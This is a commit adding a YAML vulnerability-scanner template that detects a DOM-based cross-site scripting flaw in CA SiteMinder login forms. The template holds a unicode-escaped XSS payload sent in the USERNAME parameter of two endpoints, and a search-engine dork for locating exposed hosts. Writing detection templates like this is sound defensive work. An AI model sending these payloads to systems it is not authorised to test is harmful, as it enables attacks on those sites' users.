Create siteminder-dom-based-xss.yaml

vulnerabilities/other/siteminder-dom-based-xss.yaml

@@ -0,0 +1,34 @@
+id: siteminder-dom-based-xss
+
+info:
+  name: SiteMinder DOM BASED XSS
+  author: clarkvoss
+  severity: medium
+  description: SiteMinder DOM Based XSS.
+  reference: https://blog.reigningshells.com/2019/12/reviving-old-cves-reflected-xss-in-ca.html
+  metadata:
+    verified: true
+    google-dork: inurl:"smpwservices.fcc"
+  tags: dom,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'
+      - '{{BaseURL}}/siteminderagent/forms/smaceauth.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'confirm(document.domain)\u0022\u003e</B>'
+
+      - type: word
+        part: header
+        words:
+          - 'text/html'